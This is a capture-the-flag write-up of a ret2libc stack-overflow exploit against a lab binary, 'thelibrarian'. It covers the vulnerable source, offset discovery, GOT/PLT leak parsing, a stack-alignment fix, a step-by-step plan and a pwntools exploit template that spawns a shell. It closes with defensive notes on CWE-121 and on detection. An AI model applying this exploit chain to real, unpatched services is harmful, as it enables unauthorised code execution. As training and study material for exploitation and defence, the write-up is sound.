TheLibrarian — ret2libc Writeup
Difficulty: Medium
Overview
Remote binary exploitation challenge. Target: thelibrarian, running on
MACHINE_IP:9008, with matching libc.so.6 and ld-linux-x86-64.so.2
provided alongside the binary.
Objective: obtain remote code execution and read the flag.
Source Reference
void vuln(){
char *buf[0x20];
puts("Again? Where this time? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
vuln();
}
Key observation: buf is declared as char *buf[0x20] — an array of 32
pointers (8 bytes each = 256 bytes), not 32 chars. read() accepts up to
0x200 (512) bytes, giving more than enough room to overflow past the
buffer into the saved rbp and return address.
Recon
Protections (checksec)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
Implications:
- No canary → clean stack overflow, no integrity check to trip.
- NX enabled → no shellcode on the stack; need a code-reuse technique.
- No PIE → binary addresses (functions, PLT, GOT) are static across runs.
- RUNPATH
.→ binary loadslibc.so.6from its own directory via the providedld-linux-x86-64.so.2, confirming the supplied libc is the one that matters (locally and is the one to calculate offsets against for the remote target).
No win() function is present in this binary (unlike a prior, simpler
challenge on port 9007), and there's no built-in info leak. This rules out
a direct ret2win and points toward a ret2libc approach.
Static addresses gathered
| Symbol | Address |
|---|---|
vuln |
0x40063e |
puts@PLT |
0x4004e0 |
puts@GOT |
0x601018 |
pop rdi ; ret gadget |
0x400639 |
libc offsets (from provided libc.so.6)
| Symbol | Offset |
|---|---|
puts |
0x80970 |
system |
0x4f420 |
/bin/sh |
0x1b3d88 |
Finding the Offset to Return Address
vuln's prologue reserves sub $0x100,%rsp (256 bytes) — matching the
32×8-byte pointer array. Used a cyclic pattern to confirm the exact offset
rather than assuming it from the source:
pattern = cyclic(800)
# crash: SIGSEGV on the `ret` instruction (vuln+62)
# rbp = 0x636161706361616f
cyclic -l 0x636161706361616f
# => 256
- Offset to saved
rbp: 256 - Offset to return address: 256 + 8 = 264
This matches the sub $0x100,%rsp seen in disassembly — the saved rbp
sits immediately after the 256-byte reserved region.
Exploitation Strategy
Two-stage ret2libc, since there's no PIE on the binary (static addresses) but libc itself is ASLR'd:
- Stage 1 — leak: overwrite the return address with a ROP chain that
calls
puts(puts@GOT), printing the real runtime address ofputsin libc. Return back intovuln()afterward for a second input round. - Calculate libc base:
leaked_puts_addr - puts_offset_in_libc. - Stage 2 — shell: with the base known, compute
systemand/bin/shaddresses, and callsystem("/bin/sh")via the samepop rdi ; retgadget.
Gotcha #1 — parsing the leak
The target's output has an extra blank line between "ok, let's go!" and
the leaked bytes:
b" Where this time? : \n\nok, let's go!\n\n<LEAK BYTES>\nAgain? Where this time? : \n"
Anchoring on recvuntil(b"go!\n\n") before reading the leak line is more
robust than counting recvline() calls.
Gotcha #2 — truncated leak
puts() stops at the first null byte, so the high (zero) bytes of the
leaked address are never printed — the leak is typically 6 raw bytes, not
8. Padding with .ljust(8, b'\x00') before u64() handles this.
Gotcha #3 — stack alignment on system()
Calling system() via ROP without correcting for stack alignment causes a
SIGSEGV inside system itself (modern glibc uses SSE instructions like
movaps that require a 16-byte aligned rsp). Fix: insert a bare ret
gadget immediately before the call to system_addr, shifting the stack by
8 bytes.
Step-by-Step Plan
- Recon the binary — run
checksecon the target ELF to identify active protections (canary, NX, PIE, RELRO, RUNPATH). Confirm which libc/loader combo is required (ldd, or checkRUNPATH). - Read the disassembly of the vulnerable function — confirm actual
stack frame size (
sub $X,%rsp) rather than trusting the source-level buffer declaration; note the static address of the vulnerable function and ofmain. - Find the offset to the return address — send a cyclic pattern,
trigger the crash, and inspect
$rip/$rbpat the fault. If the crash happens inside the function (not onret), the pattern hasn't reached the return address yet. If$ripshows theretinstruction itself but the fault comes from a corrupted$rbp, usecyclic -l <rbp value>to get the offset to savedrbp, then add 8 for the return address offset. - Enumerate available gadgets — use
ROPgadget --binary <binary>to find apop rdi ; ret(to control the first function argument) and a bareret(useful later for stack alignment). - Locate PLT/GOT entries — find the PLT address of a libc function
the binary already imports (e.g.
puts), and its GOT entry, viaobjdump -d/objdump -R/readelf --relocs. - Look up libc offsets — using the exact libc file provided for
the challenge, find the offsets of a leakable function (e.g.
puts),system, and the/bin/shstring (readelf -s,strings -t x, or let pwntools'ELF()object resolve them automatically). - Build Stage 1 (leak) — pad to the return-address offset, then
chain:
pop rdi ; ret→ GOT address of the leak function → PLT address of that function → address of the vulnerable function (to loop back for a second input round). - Parse the leaked address carefully — anchor on a fixed string in
the program's output rather than counting
recvline()calls, and pad the leaked bytes to 8 bytes before unpacking (leaked addresses are often null-truncated sinceputs()stops at a null byte). - Calculate the libc base —
leaked_address - known_offset_in_libc, then derivesystemand/bin/shaddresses from that base. - Build Stage 2 (shell) — same padding, then chain:
pop rdi ; ret→/bin/shaddress → (optional bareretfor stack alignment) →systemaddress. - If Stage 2 crashes inside
system/libc itself, suspect stack misalignment. Insert an extra bareretgadget immediately before the call tosystemto shiftrspby 8 bytes. - Drop into an interactive shell and confirm code execution before retrieving the flag.
Exploit Template
Generic structure only — offsets, gadget addresses, and the target IP/port are intentionally left as placeholders. Fill these in yourself based on your own recon (see steps above) rather than reusing another run's values, since addresses can differ per build/patch level.
from pwn import *
context.arch = 'amd64'
elf = ELF('./thelibrarian')
libc = ELF('./libc.so.6')
# --- pick one ---
p = process('./thelibrarian')
# p = remote('TARGET_IP', TARGET_PORT)
# --- values to determine yourself ---
OFFSET = None # offset to return address, found via cyclic pattern
POP_RDI = None # address of `pop rdi ; ret` gadget
PUTS_PLT = None # PLT address of puts
PUTS_GOT = None # GOT address of puts
VULN_ADDR = None # address of the vulnerable function, to loop back
RET_GADGET = None # bare `ret` gadget, for stack alignment if needed
# --- Stage 1: leak a libc address via an already-imported function ---
payload1 = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(VULN_ADDR)
p.recvuntil(b'?') # adjust to match the actual prompt
p.sendline(payload1)
p.recvuntil(b"go!\n\n") # adjust anchor string if needed
leaked = p.recvline().strip()
leaked_addr = u64(leaked.ljust(8, b'\x00'))
log.info(f"Leaked address: {hex(leaked_addr)}")
# --- Calculate libc base ---
libc_base = leaked_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"libc base: {hex(libc_base)}")
# --- Stage 2: system('/bin/sh') ---
payload2 = b'A' * OFFSET
payload2 += p64(POP_RDI)
payload2 += p64(binsh_addr)
payload2 += p64(RET_GADGET) # remove if alignment isn't an issue
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()
Result
Shell obtained after stage 2, followed by flag retrieval via the interactive shell.
Lessons Learned / Notes for Future Challenges
char *buf[N]vschar buf[N]— a pointer array isN × 8bytes, notNbytes. Always verify actual stack allocation via disassembly (sub $X,%rsp) rather than trusting the source-level declaration size.- Cyclic pattern crash location matters — a crash inside the function
body (not on
ret) usually means the pattern didn't reach the return address yet; a crash onretwith a corruptedrbp/ripconfirms you've reached it. - No
win()function → assume ret2libc. The presence of a leak primitive (printf("%llx", ...)) or awin()-style function are the two shortcuts that make ret2win possible; absence of both means building a leak yourself via GOT/PLT. - RUNPATH
.is a strong hint that the challenge wants you to use the provided libc for offset calculation — a mismatch between local test libc and the remote target's libc silently breaks otherwise-correct exploits. - Stack alignment for
system()calls is a recurring gotcha with modern glibc; keep a spareretgadget address handy for any ROP chain that calls into libc functions using SSE internally.
Relevance to SOC / Blue Team Work
- This class of vulnerability maps to CWE-121 (stack-based buffer overflow). In a DORA/NIS2 context, this is exactly the kind of finding that drives CVSS scoring and patch prioritization for internet-facing services.
- Detection angle: a SIEM (Wazuh/ELK) rule looking for abnormal
read()sizes relative to declared buffers, or repeated crash/respawn patterns on a service, is a low-effort way to catch exploitation attempts against binaries like this one in production.